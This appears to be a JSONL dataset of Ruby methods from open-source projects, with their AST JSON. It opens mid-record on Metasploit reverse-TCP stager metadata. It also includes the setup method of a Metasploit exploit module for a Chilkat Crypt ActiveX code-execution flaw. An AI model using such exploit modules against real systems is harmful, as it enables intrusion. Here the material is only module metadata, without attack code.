<nemo[at]felinemenace.org>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiresMidstager\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi\"]}]}]}]}]}]}","id":"5785d330-1663-4af1-a1b2-a64efe9cb5c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/source_internal_user_finder.rb","start_line":86,"raw_source":"def cache_key\n      format(GHOST_USER_CACHE_KEY, bulk_import_id: configuration.bulk_import_id)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"GHOST_USER_CACHE_KEY\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk_import_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"bulk_import_id\"]}]}]}]}]}","id":"d8acd211-9dc3-48ac-b582-3b740ff9b4b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/alert_management/alerts/todo/create.rb","start_line":10,"raw_source":"def resolve(args)\n            alert = authorized_find!(project_path: args[:project_path], iid: args[:iid])\n            result = ::AlertManagement::Alerts::Todo::CreateService.new(alert, current_user).execute\n\n            track_alert_events('incident_management_alert_todo', alert)\n\n            prepare_response(result)\n          end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"alert\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iid\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AlertManagement\"]},\"Alerts\"]},\"Todo\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"track_alert_events\",{\"type\":\"str\",\"children\":[\"incident_management_alert_todo\"]},{\"type\":\"lvar\",\"children\":[\"alert\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_response\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"5437fb03-e561-4b8b-b552-24492e9f2eb7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":1071,"raw_source":"def cmd_load_tabs(str, words)\n    tabs = []\n\n    if (not words[1] or not words[1].match(/^\\//))\n      # then let's start tab completion in the scripts/resource directories\n      begin\n        [\n          Msf::Config.user_plugin_directory,\n          Msf::Config.plugin_directory\n        ].each do |dir|\n          next if not ::File.exist? dir\n          tabs += ::Dir.new(dir).find_all { |e|\n            path = dir + File::SEPARATOR + e\n            ::File.file?(path) and File.readable?(path)\n          }\n        end\n      rescue Exception\n      end\n    else\n      tabs += tab_complete_filenames(str,words)\n    end\n\n    return tabs.map{|e| e.sub('.rb', '')} - framework.plugins.map(&:name)\n  end","complexity_score":53.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_load_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tabs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"user_plugin_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"plugin_directory\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tabs\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Dir\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"SEPARATOR\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},null,null]},null]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tabs\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"tab_complete_filenames\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"words\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tabs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"sub\",{\"type\":\"str\",\"children\":[\".rb\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"plugins\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"f9593754-c025-4200-8c3e-5bf3fc3ff9a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/chilkat_crypt_writefile.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',\n        'Description' => %q{\n          This module allows attackers to execute code via the 'WriteFile' unsafe method of\n          Chilkat Software Inc's Crypt ActiveX control.\n\n          This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to\n          execute our payload immediately. However, this method requires that the victim user\n          be browsing with Administrator. Additionally, this method will not work on newer\n          versions of Windows.\n\n          NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at\n          the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'shinnai', 'jduck' ],\n        'References' => [\n          [ 'CVE', '2008-5002' ],\n          [ 'OSVDB', '49510' ],\n          [ 'BID', '32073' ],\n          [ 'EDB', '6963' ]\n        ],\n        'Payload' => {\n          'Space' => 2048\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2008-11-03',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    @javascript_encode_key = rand_text_alpha(rand(10) + 10)\n  end","complexity_score":8.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Chilkat Crypt ActiveX WriteFile Unsafe Method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows attackers to execute code via the 'WriteFile' unsafe method of\\n\"]},{\"type\":\"str\",\"children\":[\"          Chilkat Software Inc's Crypt ActiveX control.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to\\n\"]},{\"type\":\"str\",\"children\":[\"          execute our payload immediately. However, this method requires that the victim user\\n\"]},{\"type\":\"str\",\"children\":[\"          be browsing with Administrator. Additionally, this method will not work on newer\\n\"]},{\"type\":\"str\",\"children\":[\"          versions of Windows.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at\\n\"]},{\"type\":\"str\",\"children\":[\"          the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shinnai\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-5002\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"49510\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"32073\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"6963\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-11-03\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@javascript_encode_key\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"b87bfd0c-ba88-4de8-9116-960166eb622e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer.rb","start_line":464,"raw_source":"def queue_full?\n        synchronize { @queue.size } >= @queued_chunks_limit_size\n      end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_full?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"size\"]}]},\">=\",{\"type\":\"ivar\",\"children\":[\"@queued_chunks_limit_size\"]}]}]}","id":"ca676626-a26a-4e1f-91b1-f6c8aa94eac3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/namespace/work_item_description_templates_spec.rb","start_line":41,"raw_source":"def generate_query(full_path: project_namespace.full_path)\n    query = <<~QUERY\n      id\n      workItemDescriptionTemplates\n      {\n        nodes {\n          category\n          name\n          content\n          projectId\n        }\n      }\n    QUERY\n\n    graphql_query_for('namespace', { 'fullPath' => full_path }, query)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_query\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_namespace\"]},\"full_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"id\\n\"]},{\"type\":\"str\",\"children\":[\"workItemDescriptionTemplates\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"  nodes {\\n\"]},{\"type\":\"str\",\"children\":[\"    category\\n\"]},{\"type\":\"str\",\"children\":[\"    name\\n\"]},{\"type\":\"str\",\"children\":[\"    content\\n\"]},{\"type\":\"str\",\"children\":[\"    projectId\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}","id":"57922a42-9d85-4036-8ee7-cfb756b19861"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250319152360_add_foreign_key_to_merge_request_diff_commit_users_organization_id.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :merge_request_diff_commit_users, column: :organization_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_commit_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]}]}]}]}","id":"ea25d6b0-c179-4dce-bd25-9ba3f83c939f"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/client_socket.rb","start_line":59,"raw_source":"def start_driver\n        return if @driver.nil? || @driver_started\n        @stream.hijack_rack_socket\n\n        if callback = @env[\"async.callback\"]\n          callback.call([101, {}, @stream])\n        end\n\n        @driver_started = true\n        @driver.start\n      end","complexity_score":10.53,"ast_json":"{\"type\":\"def\",\"children\":[\"start_driver\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@driver\"]},\"nil?\"]},{\"type\":\"ivar\",\"children\":[\"@driver_started\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stream\"]},\"hijack_rack_socket\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"callback\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"async.callback\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callback\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[101]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@stream\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@driver_started\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@driver\"]},\"start\"]}]}]}","id":"0ce21f95-04ad-44df-9e29-e523b05ae2f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/traversal/linear.rb","start_line":306,"raw_source":"def parent_loaded_and_present?\n        association(:parent).loaded? && parent.present?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_loaded_and_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"present?\"]}]}]}","id":"44f169d7-e882-4677-b954-a6bb789772ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/bulk_process_queue.rb","start_line":91,"raw_source":"def deserialize_all(specs)\n      specs.filter_map { |spec, _| Reference.deserialize(spec) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize_all\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"specs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reference\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"spec\"]}]}]}]}","id":"260aa158-1a07-4e19-b31a-2f157977c84c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/articles_controller.rb","start_line":48,"raw_source":"def set_article_count\n    # Search the params without status and author_id, use this to\n    # compute mine count published draft etc\n    base_search_params = list_params.except(:status, :author_id)\n    @articles = @portal_articles.search(base_search_params)\n\n    @articles_count = @articles.count\n    @mine_articles_count = @articles.search_by_author(Current.user.id).count\n    @published_articles_count = @articles.published.count\n    @draft_articles_count = @articles.draft.count\n    @archived_articles_count = @articles.archived.count\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_article_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_search_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal_articles\"]},\"search\",{\"type\":\"lvar\",\"children\":[\"base_search_params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mine_articles_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"search_by_author\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"user\"]},\"id\"]}]},\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@published_articles_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"published\"]},\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@draft_articles_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"draft\"]},\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@archived_articles_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"archived\"]},\"count\"]}]}]}]}","id":"731f1ec3-b83a-48a8-ae00-44a8290e40b3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/tracking_state_report.rb","start_line":46,"raw_source":"def find_thread(thread_id)\n      TrackingStateInfo.new(thread_tracking[thread_id])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrackingStateInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread_tracking\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]}]}]}","id":"c8cad711-912d-4d02-81bd-9f868bbe59f4"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/notes/notes_command.rb","start_line":11,"raw_source":"def perform(*)\n        boot_application!\n\n        display_annotations\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boot_application!\"]},{\"type\":\"send\",\"children\":[null,\"display_annotations\"]}]}]}","id":"886401e2-9982-4ff9-90fc-858a6ccbdbe5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/sessions_controller.rb","start_line":21,"raw_source":"def create\n    if two_factor_enabled_for_user?\n      admin_mode_authenticate_with_two_factor\n    elsif current_user_mode.enable_admin_mode!(password: user_params[:password])\n      redirect_to redirect_path, notice: _('Admin mode enabled')\n    else\n      flash.now[:alert] = _('Invalid login or password')\n      render :new\n    end\n  rescue Gitlab::Auth::CurrentUserMode::NotRequestedError\n    redirect_to new_admin_session_path,\n      alert: _('Re-authentication period expired or never requested. Please try again')\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"two_factor_enabled_for_user?\"]},{\"type\":\"send\",\"children\":[null,\"admin_mode_authenticate_with_two_factor\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user_mode\"]},\"enable_admin_mode!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"redirect_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Admin mode enabled\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Invalid login or password\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"CurrentUserMode\"]},\"NotRequestedError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_admin_session_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Re-authentication period expired or never requested. Please try again\"]}]}]}]}]}]},null]}]}","id":"7bd29467-d171-4119-aaa2-fc0d5d622228"}
